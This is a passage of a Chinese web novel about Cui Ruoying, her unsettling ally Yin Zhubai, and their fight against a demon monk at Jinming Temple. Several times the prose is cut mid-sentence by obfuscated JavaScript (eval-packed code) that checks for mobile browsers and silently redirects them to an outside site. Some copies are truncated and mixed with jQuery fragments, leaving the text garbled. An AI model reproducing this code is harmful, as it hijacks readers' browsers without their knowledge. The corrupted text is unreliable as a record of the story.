湿淋淋的喜袍紧紧地缠在他——他们的身上,勾勒出劲瘦的腰身,连衣袍上水渍的形状,都没有什么显著的不同。 崔若盈:!!! 那只妖怪居然变成了殷逐白! 她万万没想到,事情居然是这么个展开。 崔若盈沉默两秒:“你们……哪个是真的?” 两个人都没说话,只是用同样晦暗不明的眼神看着她。那目光幽暗又灼热,几乎将崔若盈的嫁衣烧出个洞来。 崔若盈:“……”救。 两个反派伺候她一个,她真的无福消受。 尴尬与沉默悄然蔓延,夜雨带来的冷气已渗进房间的每个角落。忽地,红烛发出轻微的爆裂声,打破了令人窒息的沉郁氛围。 左边的人向前一步。他眼帘垂着,微微俯下身,用玉笋般的手指轻轻抚摸着她的脸。 “盈盈。我是。” 青年指尖冰冷,像是寒冬时节雪水在屋檐下凝成的冰锥。崔若盈忍不住打了个寒战,求救地看向右边的那位:“你……” “别相信他,盈盈。”右边那位则维持着殷逐白一贯的温柔语气,“我才是殷逐白。” 左边的殷逐白生气了。 他倏地转过身,用阴冷的眼神看着另一个自己。另一人毫不惧怕地与他对视,两人静立在崔若盈身边,像是两座战斗中的雕塑。 几秒后,右边的殷逐白侧过头,温和地看向崔若盈,桃花眼中满是情愫。 “盈盈,到我这边来。他会伤到你的。” 说着,他对她伸出一只骨节分明的手。 崔若盈能想象到那只手的温度。那一定是冷酷的、阴寒的,和殷逐白温柔人设全然相悖的温度。 她下意识地向前一步。下一秒,她手臂一沉,回眸一看,拉住她的原来是另一只雪一般苍白的手。 “不许走。” 意识到自己的语气有些强硬,青年又适当放软了语气:“你说过不会走的……” 崔若盈:“……我什么时候说过?” 左边的殷逐白听她这么说,似乎吃了一惊,挂着水珠的眼睫毛也微微颤抖起来。 右边的殷逐白则是适时露出一抹暗藏得意的微笑。他站在崔若盈身旁,瞥了眼对面的人。 “他是妖怪。” 那这只妖怪的演技,未免也太拙劣了。 崔若盈道:“好吧,再给你一次机会。你还记不记得我曾送过你什么礼物?” “……” 礼物? 什么礼物? 记忆的浪潮在脑海中翻腾。那也是这样一个下着雨的夜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034783|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雨丝细密、灯火摇曳。崔若盈的声音缭绕在雨雾中。 “殿下,我有礼物要送给你。” 什么礼物? 答案好似就盘旋在脑海中,却无论如何也说不出来。眼前的画面扭曲着变化,潮湿的雨夜,灯烛,还有站在崔若盈身边的、温文尔雅的青年。 又是温文尔雅。 为什么所有温文尔雅的人,都要和他抢崔若盈? 在这样的人面前,殷逐白仿佛天生就带着几分卑弱。 他攥住她衣袖的手突然无力地松了松,崔若盈抽出衣袖,静静地看着他。 “盈盈。”身边的人又轻声呼唤道,“快到我身边来吧。” 崔若盈点点头,朝着他走去。一步、两步,她的影子被烛光拉得很长很长,渐渐与他的身影重合。 忽地,她的脸上浮现出一丝微不可察的古怪笑容。 下一秒,短刀已然出鞘,如闪电般锐利地刺向身前之人。“殷逐白”没想到她会突然出手,胸口正好被她刺中。 鲜血将红色的衣裳染成更深的红。他的额角青筋暴起,脸上的情意瞬间便荡然无存,取而代之的,是无底深渊一般的寒冷。 “你什么时候发现的?” 崔若盈把刀向他的血肉中送了送:“从你说第一句话开始。” 这只妖怪大概没发现殷逐白脑子有问题。 人前的时候,殷逐白温柔、善良、光明磊落;而一到夜半无人之时,藏在他磊落外表下的阴暗家伙就会冲破正直皮囊的束缚,像妖鬼一样,紧紧缠着她不放。 前者叫她“崔姑娘”。 只有后者,才会叫她“盈盈”。 而这只妖怪装成了温柔的殷逐白却一反常态地叫她“盈盈”,光凭这一点,就足够崔若盈光速破案了。 之后的行动不过是想博取妖怪信任,趁机寻找偷袭的机会罢了。 鲜血顺着刀锋,缓缓流淌到崔若盈的手上,滑腻腻、湿漉漉。 “看来,我低估了你们之间的感情。” 殷逐白模样的妖怪低低笑了一声,身体忽地化作玻璃般的碎片落了一地。七彩斑斓的碎片之中,一抹妖气朝着窗外掠去。 还想跑? 崔若盈毫不犹豫地踹开门,风雨浸湿血红的嫁衣。 混在宾客中的寇言湘和祝星游意识到了不对,循着妖气的痕迹追了上去。 “盈盈……” 身后又传来黏腻的呼唤。那声音好像是贴着她耳边响起的一般,缓缓吹动她的头发。 崔若盈回眸一瞥,只见殷逐白跟在她身后。 黑发湿漉漉地黏在他的脸上,如同湖底蓬乱的水草。夜雨暗暗,只有一双眼很亮,像是明月在湖面上落下的投影。 “盈盈更爱我,是不是?” 崔若盈:“……”她实在不知道殷逐白是怎么得出这个结论的。 不过她实在不想和殷逐白争论,只敷衍地“嗯”了一声,继续追击那只妖怪。 殷逐白眸光流转,紧紧地跟在她身边。越过暗夜中鳞次栉比的房屋,穿过潮湿阴冷的雨夜,出了城,那妖怪朝着南方飞去。 “往南边去了?” “等一下!”崔若盈叫住寇言湘和祝星游,“别去那边。去金鸣寺。” 56. 他抱着她 崔若盈早就注意到,在整起事件中,有一根微妙的线,将所有故事都串联在一起。 只是之前的她搞不明白,这根线究竟来自何处。直到刚刚,她才意识到一个问题: 妖怪为何没盯上寇言湘和祝星游,又为何找上了崔若盈和殷逐白? 难道真的只是因为那只妖怪熟悉了寇言湘两人的气息,所以避开了两人吗? 不。 一定不是这样的。 那只妖怪之所以把崔若盈和殷逐白定为目标,是因为他们那天晚上,曾在姻缘树下许过愿。 写着他们名字的红布条,正系在那棵被烧得焦黑的树上,随风飞舞。 不只是他们两个。 曾经金鸣寺香火旺盛,吴云淑、李惠夏,还有许多安平城的百姓,都曾经在那树下许过愿。 而吴云淑那日随信送来的佛珠,是否也暗示了凶手的真正身份? 无光的雨滴穿过黑暗,落在崔若盈的嫁衣上,层层叠叠的华美嫁衣被雨打湿,沉甸甸地坠在身上。 崔若盈朝着金鸣寺跑去,身形化作黑暗中一道猩红的影子。 离得很近了! 金鸣寺的影子在雨中若隐若现。没有灯光,没有人声,一切都暗沉无光。 进入寺中,迎面看见那棵姻缘树。树上布条随风摇动,那是一种与崔若盈嫁衣相得益彰的红。 树下站着一道人影。 崔若盈机警地停下脚步。殷逐白站在她的身边,他没有看那道人影,仿佛树下站着的,只是个无关紧要的死物。 他的目光,始终追随着她。 暴雨凝成水流,顺着额头滑落。崔若盈抹了把脸上的水,望着那道熟悉的人影。 在她身侧,寇言湘早已按捺不住心中的惊讶和怒火:“了缘师父,怎么是你?!” 树下的僧人转过身,露出一张年轻清秀的脸。他双手合十,镇定自若地寒暄道:“好久不见,几位施主。” 寇言湘盯着他:“你是这棵姻缘树所化的树妖?安平城的人都是你杀的?” 了缘嘴角浮现出神秘的笑容:“寇施主不是都知道了吗,又何必明知故问呢?” “我不知道!”寇言湘紧皱眉头,“你这个假和尚藏在金鸣寺,就是为了杀人?为什么?” 了缘神色自若:“寇施主这就说错了。我从开智起就一直待在金鸣寺潜心修佛,至今已有五百载,怎么会是假和尚呢?” “那你……” 寇言湘正欲向下质问,忽地想到了什么。正巧崔若盈也想到这点,两人异口同声道:“金鸣寺的火灾!” 了缘宽和一笑,抬眼望向姻缘树的枝桠。 “我已尽全力助人实现心愿,却仍遭人怨怼,甚至连累金鸣寺毁灭于火海。世间姻缘本无十全十美,既然许愿人如此苛求,那不完美的姻缘,不要也罢。只是我没想到,竟然有人能识破我的伪装。” 他意味深长地瞄了崔若盈一眼,随即合上眼,低声念了声佛号。 “罢了。既然如此,我们今日就做个了断吧。” 轰! 电光劈开夜空,雷鸣声轰然响起,金鸣寺随着雷声颤抖起来。地面龟裂,被烧焦的断壁残垣紧跟着倒塌,仿佛有什么藏在地下的东西已经苏醒,正要破土而出。 “小心!”寇言湘扬声道。混乱之中,根根树藤从地底下刺出,宛若恶魔的触手,从四面八方朝四人抓来。 树藤带起的破空声断断续续响起,崔若盈躲开一根树藤,朝着后方退去。 妖气升腾而起。五百年的妖怪已经不弱,了缘又在金鸣寺中接受佛法熏陶,妖气中还混杂着其他妖怪没有的刚正之气,十分难对付。 躲闪之时,又有攻击袭来。崔若盈眸光闪动,正欲闪避,一道剑光却混杂在暴雨之中,瞬间将树藤砍成十几段。 树藤断口处的汁水是鲜红的。如血一般,飞溅到崔若盈的脸上。 是殷逐白。他持着逝飞雪,猩红的衣裳在狂风暴雨中猎猎作响。 真奇怪。明明殷逐白才是最想杀她的人,但每次她遇到危险,他都会坚定地挡在她面前。 树妖似乎没想到殷逐白这么凶猛,先是怔了一瞬,紧接着,锋利的木刺便刺穿地面,朝着他的脚下刺去。 殷逐白神色未变,一把抱起身边的崔若盈,猛然朝着身后激退。 尖锐木刺一路追击,地面寸寸崩裂,青砖碎瓦四处迸射,空中交错相连的木藤,竟成了最后的立足之地。 崔若盈被他抱在怀中,任由狂风在耳边呼呼刮过。暴雨未停,电光时而划破长夜,恍然之间,她听到殷逐白轻蔑的冷哼。 的确。 在除妖师看来很棘手的五百年树妖,对殷逐白来说,只不过是个随手就能捏死的蚂蚁。 青红色的树状闪电亮起,殷逐白又动了。 他单手抱着崔若盈,像是抱着羽毛一般,轻盈地在树藤上跳跃,剑光勾着雨水,朝着金鸣寺最中央那棵姻缘树飞去。 刹那之间,剑光犹如雷电般落下,粗壮的树木顷刻间被切成均匀的几段,带着那一树姻缘结,轰然落在地上,化为飞灰。 青红色的闪电还挂在天边未曾消失。借着电光,崔若盈能看见他雪白面孔上的神情——冷酷、阴郁、带着乌云般浓重的杀意。 崔若盈还没见过他脸上露出过这么强烈的杀意。 为什么?了缘哪里惹到他了吗? 可是,这抹杀意就像闪电般,很快就消散在黑暗中,取而代之的,是轻柔如蛛网的笑容。 殷逐白抱着她,轻轻落在交错如网的树藤间。衣袂随着风向上扬起,又因重力缓缓落下,恰如蝴蝶轻盈合拢的翅膀。 “盈盈。”他轻声安抚,“不要害怕。” 崔若盈有些不自然地轻咳一声:“我没、没害怕。殷逐白,你快放我下来吧。” 作为时空委托公司的金牌员工,她也算见多识广,怎么可能害怕这种小场面。 不过……反派的怀抱,倒是让她感觉很不自在。 殷逐白沉默了两秒。 崔若盈能感觉到他的心跳。一下、两下,心脏在胸腔中不安分地震动着,像是黑暗中的脚步一样沉重。 两秒之后,殷逐白将她放了下来。 暴雨之中,他的长发汇聚成黑色的河流,嘴唇有些烦恼地轻轻抿起,显得妖冶而阴郁。 逝飞雪被暴雨冲刷得寒光凛凛。殷逐白收起剑,缓缓抬起手。 崔若盈没有动。那只手轻轻碰到她脸上,擦去皮肤上刚刚溅到的血迹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔若盈道:“所以说,之前那些案子,可能是他操控罗刹鸟的尸体做下的。” 这个就能解释,为什么寇言湘和祝星游几次都没捉住他。 也许不是因为了缘擅长跑路,而是因为每当要被捉住时,他就干脆地放弃被操控的尸体。 尸体死去多时,本就没了气息,他远程操控,遇事就早早抽身。了缘修为高超还如此狡猾,能抓到才奇怪了。 “他还真是……” 寇言湘皱了皱眉。 崔若盈道:“我们快些找到他吧,免得他再祸害着附近的人和妖了。” 明明是在和寇言湘说话,但她的目光却不自觉地落在殷逐白的脸上。 他的脸上带着淡淡的微笑。这没什么奇怪的。但崔若盈总觉得,反派身上少了什么东西。 啊,对了。 少了湿漉漉、黏糊糊的感觉,少了总是暗藏杀机的眼神,少了想压制却压制不住的疯狂。 只有温柔、只有克制——反派好像真的变成个正人君子了。 这神经质的家伙,又在搞什么? 57. 留在她身边 留在她身边。 就算舍弃自我,装成自己最讨厌的人,也要留在她身边。 至少—— 至少,午夜梦回时,他也能光明正大地拥住她。 而内心的嫉妒与煎熬,不过是一点甜蜜的副作用……无关紧要。 殷逐白闭了闭眼,再睁眼时,脸上笑容已如春风般和煦。 逝飞雪的剑光交织成网,斩杀拦在前方的妖怪。随着几人循着妖气逐渐接近了缘,被他操控的妖怪也越来越多,几乎密集如蚁。 “麻烦。” 崔若盈一刀刺向一只扑过来的猫妖,对方高昂地尖叫一声,被她甩到一旁,软绵绵地倒下。 她嫌恶地看了它一眼,退回到殷逐白的身边。 “没受伤吧,盈盈?” “……没。”崔若盈用余光看了殷逐白一眼。 真奇怪,他现在明明是正人君子形态,却叫她“盈盈”。 有一瞬间,她甚至觉得这个殷逐白是了缘冒充的。 不过了缘能变成殷逐白的样子,却模仿不了他这一手精妙狠辣的剑法,所以她身后这位是真货无疑。 “殷逐白。”崔若盈斟酌着问道,“你怎么了?” 殷逐白怔了一下,抬手温柔地碰了碰她的头发:“我没怎么,不用担心。” 呃……想来反派也不会出什么事。 她真是皇帝不急太监急。 “那好吧。” 崔若盈把手背在身后,往前快走了几步,与殷逐白拉开距离,却忽听一边的寇言湘高声叫道: “小心!” 崔若盈下意识朝着前方看去。只见一道人影静静站在远处的黑暗中,浅蓝色的僧袍在黑暗中,成了一种粘稠的黑色。 与此同时,一根手腕粗的树枝就飞快从地下钻出,卷住她的腰。不远处的了缘冷笑了一声,他带着她,两道身影飞一般消失在黑暗中。 “盈盈!” 了缘跑得太快,崔若盈只听到了这么一句。 “你抓我干什么?” 被人带着前进,还挺省力的。崔若盈抱胸斜睨身边的了缘,也懒得和他装模作样了。 “你不会真以为,你能控制住我吧?” 即使是满血的了缘她也不怕,更别说这个被打散了本体、奄奄一息的了缘了。 想跑她随时能跑。只不过比起跑路,崔若盈更想知道了缘抓她来有什么目的。 总不能也是柿子挑软的捏吧? “正好,我有事情想问你。”崔若盈歪了歪头,“你为什么留吴云淑一命,却又选择杀了她?” 听到自己熟悉的名字,了缘灰色的眼珠终于动了动。 “她不知道我的身份,我便留她一命。后来她知道了,还想告密,我就容不得她。就这么简单。” 崔若盈问:“你喜欢她?” 了缘没说话。她便自顾自回答道:“我猜也不喜欢,不然怎么会那么残忍?” 如果说这是喜欢,那未免也太侮辱这两个字了。 “不过我觉得你想错了。”崔若盈又道,“你怕她猜到你的身份,所以挖了她的眼睛。但她从最开始就知道。” 她从怀里掏出吴云淑留下来的那串佛珠,扔到了缘怀里。 了缘下意识接住,看清是什么东西后又拧眉问道:“你什么意思?” “气味。” 崔若盈非常耐心地解答道:“你不知道吗?真正熟悉的人,是能通过气息分辨的。而你身上,有着很重的檀香味。” 至于吴云淑为什么不把这件事说出去……可能她还心存侥幸,想劝自己的好友重回正道? 崔若盈不是很理解。 不过这世界上,就是有很多让人不解的存在。了缘是,吴云淑是,殷逐白也是。 她可能也是。 “……看来我没有看错。”沉默半晌,了缘突然冷笑一声,“你果然没有看上去那么简单。” 他停住脚步,将崔若盈放了下来,目光却是冷冷的,像是两个黑灰色的冰窟窿。 “但你知不知道,你身边那个男人,也没有那么简单?” 崔若盈有些意外:“你说殷逐白?” 原来了缘早就发现了殷逐白的不对劲。怪不得殷逐白几次到金鸣寺,他都恰巧不在。 看来是怕被他发现,提前躲起来了。 “他的气息……混乱又邪恶。”了缘眉头紧锁,“不是妖怪。他不是妖怪。我听祖师说过……他有可能是……” 他没有继续说下去,而是将一个东西递给崔若盈。 那是一条红丝带。对这条丝带,崔若盈再熟悉不过。 展开丝带,纤细的墨色小字映入眼帘。 这不是她的丝带,而是殷逐白的。他的丝带上没有具体的愿望,密密麻麻写着的,只有同一个字。 盈盈盈盈盈盈盈盈 盈盈—— 好像有回声在脑海中回荡。崔若盈收起布条,冷漠道:“然后呢?” 了缘眼中闪过暗光。 “此人留着必是祸患。我要封印他。” 崔若盈道:“你真的很自以为是。要说祸患,你自己不就是么?” “我在金明寺百年,为这里除掉了不少妖怪,又为百姓剪掉了不完美的姻缘,所作所为、所念所想,从不是自己。至于我做下的杀孽——” 他冷笑一声。 “我自会用命偿还。” 崔若盈看着他。了缘对着她的目光,继续道:“而这,也是我把你带到这里的原因。” 话音未落,银白色的剑光已经穿破黑暗,流星一般朝着了缘袭来! 了缘早有准备,不闪不避。只见他双手合十,念声佛号。 刹那之间,沉重而浑浊、仿若来自上古的气息从地下翻腾而起,却带着佛家特有的刚正之意,朝着剑光源头攻去。 他的目的是用她引出殷逐白! 剑光又亮起,与那古老的气息撞击在一处。 轰隆隆的声音响起,灰尘四溅,崔若盈顾不上多想,反手割断身上的藤蔓,朝着殷逐白的方向跑去。 反派……反派的命是她的,绝对不能让了缘这秃驴抢了人头! 但事实证明,崔若盈的担心很多余。 了缘实力很强,甚至比寇言湘祝星游联手还强,但和真正的大反派殷逐白比起来就差远了。 两股力量相撞,了缘的攻击即刻消散。光芒褪去,显现出殷逐白穿着喜袍的猩红色身影。 他冷冷地看着前方,逝飞雪在他手中散发出决然的冷光。可当他的目光转到崔若盈身上时,又刹那间变得十分柔和。 “到我身边来,盈盈。” 他伸出一只手。崔若盈拉住他的手臂,隔着湿透了的衣裳,她触摸到他湿热的体温。 “他有没有伤害你?” 崔若盈老实道:“没有。” 殷逐白仍不放心,上上下下打量着她。红色嫁衣湿漉漉地黏在身上,钗环散落,发丝无精打采地垂在肩上…… 似乎的确没事。 “看来,崔施主是不信我了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053995|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了缘缓缓从飞扬的尘土中走出,脸上还带着似有似无的微笑。他先扫了眼殷逐白,又定定地看向崔若盈。 崔若盈感觉殷逐白的手臂微微绷紧,似乎有些紧张。 她眼珠动了动,断然道:“我为什么要信你这个滥杀无辜的妖怪?” 了缘冷哼一声:“你又怎么知道,他不是滥杀无辜的妖怪?” 崔若盈:“……”我知道他是,快别说了大哥。 没看殷逐白的脸色都变了吗? 幸好,殷逐白也没有让他说下去的意思。 他抬起剑。逝飞雪的光芒凝成银色的一点,像是漆黑夜空中的一点星光。 “她当然知道我是什么人。”他恨得眼睛发红,几乎一字一顿地强调道,“还轮不到你多说。” 星光萤火虫般划过,狂风忽地汇聚,吹得他发丝狂乱飞舞,逼得了缘后退几步。 “执迷不悟。” 了缘冷冷地扯了扯嘴角,忽地抬起双手。 随着他的动作,一阵地动山摇之后,碎石轰隆隆地从上方落下,崔若盈的身体也有些失去了平衡,需要刻意保持才能站稳。 金光猛然从地底迸射而出。几秒之间,这些光芒就穿破洞顶,渐渐在半空中成型。 抬头望去,那如太阳般耀眼的,竟是一只金光汇聚而成的手掌。 殷逐白倏地掀开眼帘:“是金刚伏明掌。” 金刚伏明掌? 崔若盈眼皮也跳了一下。 这不是《除灵伏妖录》中,寇言湘后期才学会的招式吗? 那时候,寇言湘已经识破殷逐白的真面目,却被殷逐白倒打一耙,诬陷成勾结妖族的叛徒。 寇言湘和祝星游被追杀,后被古寺里的老和尚所救,从他那里学会了这招。 据老和尚所说,金刚伏明掌是几百年前一位高僧智能禅师所创。这招能抽动地气对敌,威力极强不说,对妖邪等秽物还有特殊的克制作用。 智能禅师毫不藏私,四处传授这套掌法。可惜这掌法学习难度很高,渐渐地,也就失传了。 原剧情中,寇言湘和祝星游就是用这招杀了殷逐白的。 没想到,了缘也会这招。 意识到这点后,崔若盈看向殷逐白:“我们先走吧,殷家主。” 再待下去,她真怕殷逐白被抢了人头。 “来不及了。” 殷逐白摇了摇头,抬眸看向上方。金光映在眼瞳中,蜂蜜一般的颜色在他眼中缓缓流动。 崔若盈循着他的视线向上看——金色的巨掌似乎察觉到了两人的视线,微微一顿,随即轰然向地面拍去。 在半空时还不明显,现在巨掌接近,大小宛若一座小山,极热极盛的光芒几乎能将人融化。 了缘已经将几百年的功力和全部的神魂,都注入这一掌之中了! 崔若盈神色微肃,从系统背包中取出一个小木偶藏在袖中。这是一个珍贵的替死道具,也是她最大的倚仗。 若真有危险,她会立刻使用道具,逃之夭夭。 什么殷逐白,什么了缘,爱死哪儿死哪儿去吧! 分神这几秒的工夫,那金色大掌带着排山倒海之势猛然压下,崔若盈甚至能感受到手掌压迫产生的风。 强大的力量冲击着脚下的土地,地面轰然炸裂、土石飞溅。 山一般的手掌,已悬在她的头上。巨掌之下,人如同蝼蚁。 崔若盈心中一紧,正想着使用替死木偶,却忽听耳边吹来徐徐的风—— “盈盈,闭上眼。” 58. 他好像很喜欢她 崔若盈几乎是下意识地闭上了眼。刹那间,天地只剩一片黑暗。 在她闭眼的瞬间,巨掌落下。 殷逐白猛然抱住她,将她压在身下。湿热的体温从二人相触的位置传来,说不清那温度究竟是谁的。 也许是他的,也许是她的。 暴雨如注,轰然雷声伴着巨掌一同落下。殷逐白目光瞬间变得幽暗,苍白的脖颈上,也爬上了狰狞的青筋。 想杀崔若盈? 怎么可能! 黑色的水流冲出雨帘,决然地凝聚在一处,化作漆黑无光的利剑,倏地刺向那金色巨掌的掌心。 两股力量相撞,刹那间,土崩石裂。小石子四处飞溅,掀起的风毫不犹豫地吹在崔若盈的脸上。 崔若盈睫毛颤动。她闭着眼,什么也看不见,只能听到那呼啸的风声。 “殷逐白,你……没事吧?” 殷逐白将她护在身下,是否意味着,殷逐白挡住了原本针对她的那份攻击? 金刚伏明掌原本就是针对他这种邪祟的,原剧情中他就死于这招之下。 虽然那时候的寇言湘已经很强,不过现在拼尽全力,将几百年的功力和生命全灌注在掌中的了缘也不差。 殷逐白没有回答,只有温热的呼吸喷在她的颈间。 崔若盈等了几秒,没听到他说话,索性抬起手,朝着那湿热呼吸的源头摸去。 是英挺的鼻子。 殷逐白怔了怔,却没有躲开她的手,反而顺从地垂了垂头,湿发上的水珠就这样滴在她的脸上,又顺着她的脸颊,像是一道吹不干的泪痕。 而在天空之上,黑水化作藤蔓缠住那只手掌,巨掌的边缘被它腐蚀,化作金光飞上云霄。 但与此同时,巨掌也狠狠抓住黑水,似要将它扯断。黑色与金色在空中不住地翻腾。 终于,黑水化作云雾消亡,而巨掌也只剩一个浅色的轮廓,用尽最后一丝气力,却只能绵软地拍下。 尘土飞扬,这场战斗似乎已经步入尾声。地底洞穴塌陷,有砖石朝着两人砸来,却又被一股莫名的力量拦住,留下一片容人喘息的小小空间。 崔若盈只感觉有风吹来。而殷逐白却轻哼一声。 那声音很轻,像是瘦弱的幼猫发出来的,甫一出声,就消散在天塌地陷的轰鸣声中。 雨下得更大了。 雨水将她的手指浸泡得皱起、发白。 指尖在他的鼻梁上定了好一会儿。直到塌陷停止,轰鸣声也停止,她才想要放下手。 几缕湿发却如蛇一般卷住她的手指,含情脉脉,痴痴缠缠。 崔若盈无聊地挣脱那些湿发:“我现在能看了吗?” 和反派挨得这么近,还闭着眼睛,真的很没有安全感欸。 说着,她便掀开眼帘。不知从何处而来的微弱光线中,崔若盈看到了他近在咫尺的脸。 视线被雨丝濡湿,有些模糊。那张脸发着雪亮的微光。可下一秒,一只手就轻轻捂住她的眼睛,她又回到了黑暗之中。 “别。” 鸦羽般的睫毛颤动,轻轻扫着他的掌心。殷逐白的声音,似乎也随着她的眼睫微微颤抖。 “别看。我现在……” 好丑。 好丑。 黑色的液体缠绕在身上,随着暴雨的倾流汩汩滑落,像是最丑陋肮脏的污水,在雪白的肌肤上流淌着。 红色的喜袍被黑水浸透了。有几滴液体落在了她的衣服上,留下一块暗色的污渍。 他不想弄脏她的衣裙。可是身体却不受控制,冰激凌一样缓缓融化。先是腿,然后是手臂、肩膀,黑水如泪一般不受控制地滴在她的身上。 崔若盈被他弄脏了。 偏偏她还毫无所觉:“咦?雨是不是更大了?” 殷逐白轻轻“嗯”了一声。他像个春天的雪人,一旦直视阳光,就会化成凛冽的雪水。 他受伤了。 伤有些严重。想要变回完美的殷逐白,还需要一点时间。 那只金色的巨掌,带着无可匹敌的凛然正气,灼伤了他这只卑劣的妖怪,害他现出了丑陋的原形。 好丑。 为什么——为什么偏偏是他呢? 本该以身封印沧浪之水的,应该是谢流玉才对。 如果是那样,他就能永远干干净净、以最好的姿态,陪在崔若盈身边。 可是没有如果。梦醒了。谢流玉是谢流玉,殷逐白是殷逐白,而他,是个躲在暗处不被接受的妖怪。 纵然表现得再高尚完美,只要显露真身,就会流落到人人喊打的地步。他不在意别人的想法,但是崔若盈—— “别看我。” 青年低低地说着,同时把手捂得更严密,生怕她从他指缝间窥探到他逐渐融化的身体。 崔若盈:“……行,不看。” 反派是没穿衣服吗,还不让看。 不看就不看,不就是长得帅一点吗,有什么好看的。 “那,你能不能从我身上起来?” 反派不重。 只是暴雨冲刷,浸透的衣裳紧紧贴在皮肤上,而他又像被浸湿的衣裳一样,紧紧地贴着她。 他的体温顺着那一层皮肤,传导到她的五脏六腑。潮湿,闷热,是迟迟不结束的梅雨天。 因闭上眼,触觉反而更加明显。惹人郁闷。 崔若盈忽然有些怀疑。 殷逐白对她,究竟抱着什么样的感情呢? 他好像很喜欢她。但看看系统面板上负数的好感度,崔若盈只怕自己跌入反派的陷阱。 不。无论如何,不要相信殷逐白。 想到这里,崔若盈捏了捏已经湿透的衣裳。她没有急着说话,而是静静等待着青年的答案。 青年没有回答。 过了好一会儿,他突然耍赖般将湿漉漉的额头贴在她的颈侧,仰头问道:“你能不能抱我?” 知道她被蒙着眼睛,看不见,他刻意在语气上做了点小手脚——声音刻意压低,带着几分沙哑的祈求,再配合湿漉漉的语气,更显得可怜。 这套引诱人的技术,恐怕是他从他父亲身上唯一学来的东西了。 殷逐白知道,崔若盈肯定吃这一套。 崔若盈果然道:“好。” 不管反派究竟如何想,她都不想错过这个机会。她要试探一下,反派对她的信任,究竟到了何种程度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060667|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她轻轻抱住他,像是抱住一只小猫。宽大的衣袖向下滑落了,露出白皙的手臂,手臂上隐约可见青蓝色的血管。 崔若盈用这只手抱着他,被泡得发白的指尖落在他的背上,指甲轻柔地划过他的脊骨。 脊骨像是小小的山一样,在皮肤下苍白地拱起。几千年过去,它的弧度好像永远不会变。 感受到她的抚摸,青年的躯体像触电般躲闪了一下,又生生抑制住这种生理性的本能。 崔若盈却坏心眼地抬起手指,来回抚触那边拱起的山脊,又顺着骨骼的线向下滑去。 殷逐白忽地闷哼一声。这闷哼声中带着几分沙哑的情欲,但更多的是痛苦。 崔若盈怔了一下:“你受伤了?” 的确……那一招金刚伏明掌不弱,殷逐白还分出力量护着她,的确有可能受伤。 停顿一瞬,崔若盈缓缓抬起手,将殷逐白捂着她眼的那只手挪开。 他的身体已经恢复,因此没有抵抗,任由她睁开双眼。 率先映入眼帘的,是凝结成一团的黑暗。崔若盈使劲闭了闭眼,方才适应黑暗,朝着殷逐白望去。 他的脸好苍白,几乎失了血色。唯有眼睛是红的,红得像是要滴出血来。 再看他身上,衣服还好好穿着,也没有破损,不知究竟伤成什么样了。 不过死应该是不至于死的。 “我没什么事,你不要担心。” 殷逐白顿了顿,语气又变得温柔。只是他嗓音仍带着几分沙哑,倒显得这份温柔中夹杂了许多别样的意味。 说话的时候,他看着她的眼睛。她好像很喜欢他,可是那满眼的喜欢中,是否有一点喜欢曾经属于他? “我们想办法出去吧。” 他拥有的太少。所以得到微不足道的一点儿,就会满足。 崔若盈应了一声,抬头打量着四周。 刚刚那一掌把地面打得塌陷,而地面上还有金鸣寺的废墟。两人就是被埋在废墟中了。 想上去,倒也不难。 殷逐白撬开上面倒塌的砖石,两人很快就清理出一条通道。崔若盈顺着通道爬上去,暴雨将她身上的灰尘尽数冲去。 “小盈!” 寇言湘惊喜的声音传来,崔若盈扭头望去,果然看到了她的身影:“寇姐姐?你们没事吧?” “没事,我们正在找你们呢。” 寇言湘对她招了招手,崔若盈看到她脚下躺着一具尸体。 “他死了吗?” “嗯,我们到的时候,他已经死了。” 崔若盈暗自松了一口气。了缘知道得太多,简直是一颗定时炸/弹。 死了也好。他死了,几人也能回安平城交差了。 殷逐白跃上地面,走到崔若盈身边,看着其他两人:“既然这样,我们回安平城吧。” 任务完成,实在没什么理由在这里停留。 几人都表示同意。离开废墟,沿着山路向下,寇言湘和祝星游打打闹闹、一派轻松,殷逐白将双手拢在袖中,神情自若。 崔若盈垂下眼帘,暗自盘算。 殷逐白伤成什么样了?他受了伤,是不是意味着……她更好下手了? 59. 落下一吻 几人匆匆忙忙离去,蓬头垢面回来,李天福被吓了一跳。 